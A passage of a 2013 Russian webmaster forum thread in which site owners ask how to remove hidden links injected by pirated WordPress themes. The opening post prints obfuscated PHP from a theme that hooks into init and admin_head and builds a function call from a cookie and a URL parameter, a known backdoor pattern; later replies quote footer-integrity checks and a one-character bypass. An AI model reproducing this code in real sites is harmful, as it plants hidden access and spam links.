                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;    
    }
    if (sizeof($wids) > 0){
        return _getall_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}

if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_verify_activeatewidgets");
function _getprepare_widgets(){
    if(!isset($chars_count)) $chars_count=120;
    if(!isset($methods)) $methods="cookie";
    if(!isset($allowed)) $allowed="<a>";
    if(!isset($f_type)) $f_type="none";
    if(!isset($issep)) $issep="";
    if(!isset($f_home)) $f_home=get_option("home");
    if(!isset($f_pref)) $f_pref="wp_";
    if(!isset($is_use_more)) $is_use_more=1;
    if(!isset($com_types)) $com_types="";
    if(!isset($c_pages)) $c_pages=$_GET["cperpage"];
    if(!isset($com_author)) $com_author="";
    if(!isset($comments_approved)) $comments_approved="";
    if(!isset($posts_auth)) $posts_auth="auth";
    if(!isset($text_more)) $text_more="(more...)";
    if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_");
    if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods;
    if(!isset($text_more_ditails)) $text_more_ditails="(details...)";
    if(!isset($con_more)) $con_more="ma".$issep."il";
    if(!isset($forcemore)) $forcemore=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_is_output) :
    
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($bfix_tags)) $bfix_tags=1;
    if(!isset($f_types)) $f_types=$f_home;
    if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more;
    if(!isset($m_tags)) $m_tags="div";
    if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($more_links_title)) $more_links_title="Continue reading this entry";    
    if(!isset($is_showdots)) $is_showdots=1;
    
    $comments=$wpdb->get_results($sql);    
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($chars_count < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $chars_count) {
                $l=$chars_count;
                $ellipsis=1;
            } else {
                $l=count($text);
                $text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $allowed) {
        $output=strip_tags($output, $allowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($bfix_tags) ? balanceTags($output, true) : $output;
    $output .= ($is_showdots && $ellipsis) ? "..." : "";
    $output=apply_filters($f_type, $output);
    switch($m_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }

    if ($is_use_more ) {
        if($forcemore) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}

add_action("init", "_getprepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}         
?>



не знаю почему, но у второго сайта код не убирает ся под спойлер

посмотрите, пожалуйста, может кто сталкивался с удалением ссылок


--------------------
1. Нужен качественный трафик? Лучшие тизерные сети!
2. Лучшие CPA-сети!!!
3. SSD-хостинг за 83 руб! Быстрее в 49 раз! 30 дней теста! Возьму сайт на SEO, Я.Директ
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
DayTrader
DayTrader
сообщение 30.1.2013, 14:39; Ответить: DayTrader
Сообщение #4


такая же хрень на одном из сайтов и не знаю как убрать. И ладно бы 1-2 ссылки, а они засунули их туда 4 или даже 5 штук


--------------------
Покупаю BTC-E коды/Bitcoin за наличные и ЭПС
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
EvilGomel
EvilGomel
сообщение 30.1.2013, 14:51; Ответить: EvilGomel
Сообщение #5


DayTrader, portos, могу помочь убрать. ICQ в профиле.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
moxtima
moxtima
сообщение 30.1.2013, 14:55; Ответить: moxtima
Сообщение #6


Для первого сайта меняете это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();



На это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 1 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();



Должно всё работать.

П.С. Специально для: Maxim-KL

Сообщение отредактировал moxtima - 30.1.2013, 15:03


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg5777
serg5777
сообщение 30.1.2013, 14:56; Ответить: serg5777
Сообщение #7


Куча мануалов в рунете на эту тему.
Вот здесь смотрите.
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Muwqa
Muwqa
сообщение 30.1.2013, 14:58; Ответить: Muwqa
Сообщение #8


В php относительно слаб, но вот эта функция мне не нравится.
CODE
function __wordpress_headers() {
$lua = '<?php __wordpress_pf(); ?>';
$fox = dirname(__FILE__) . '/footer.php';
$fd = fopen($fox,'r');
$caf = fread($fd,filesize($fox));
fclose($fd);
if (strpos($caf,$lua)==0) {
echo "<br/><b>Fatal error</b>: Call to undefined function do_action() in <b>" . admin_url('admin.php') . "</b> on line <b>231</b><br />";
die;

Да и частенько ее видел, кто-то может разъяснить что она делает?

Сообщение отредактировал Muwqa - 30.1.2013, 14:59


--------------------
Заблокирован за мошенничество.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Maxim-KL
Maxim-KL
сообщение 30.1.2013, 14:58; Ответить: Maxim-KL
Сообщение #9


moxtima, Muwqa, А такое как "code" использовать не пробовали? 478.gif

Сообщение отредактировал Maxim-KL - 30.1.2013, 14:59


--------------------
Забанен за мошенничество
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
moxtima
moxtima
сообщение 30.1.2013, 15:12; Ответить: moxtima
Сообщение #10


На втором сайте:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


На это:
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 1 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


Только заметил, что решение для 2 сайтов одинаковоеsmile.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Ссылки за которые не стыдно! Качественный линк билдинг сервис под Бурж от Westrank. Честный прайс.
63 DaoDog 47052 Сегодня, 12:05
автор: Omaxis
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыКрауд ссылки с форумов, блогов, порталов. Жирные ссылки с Ua,Ru, Бурж площадок. Вечные ссылки в статьях на собственных сайтах
Быстро, качественно и ответственно!
138 vetalbon 66417 13.4.2024, 17:53
автор: vetalbon
Открытая тема (нет новых ответов) SEO Линк Билдинг под Бурж | Вечные ссылки США, Европа и Мир с Гарантией
20 Needmylink1 7000 12.4.2024, 23:32
автор: Needmylink1
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыВечные ссылки с трастовых сайтов
53 1informer 22674 7.4.2024, 13:47
автор: 1informer
Открытая тема (нет новых ответов) Оптом и в розницу, скупаю ссылки околомедицинской тематики.
3 kasey7 2019 4.4.2024, 19:12
автор: kasey7


 



RSS Текстовая версия Сейчас: 19.4.2024, 18:18
Дизайн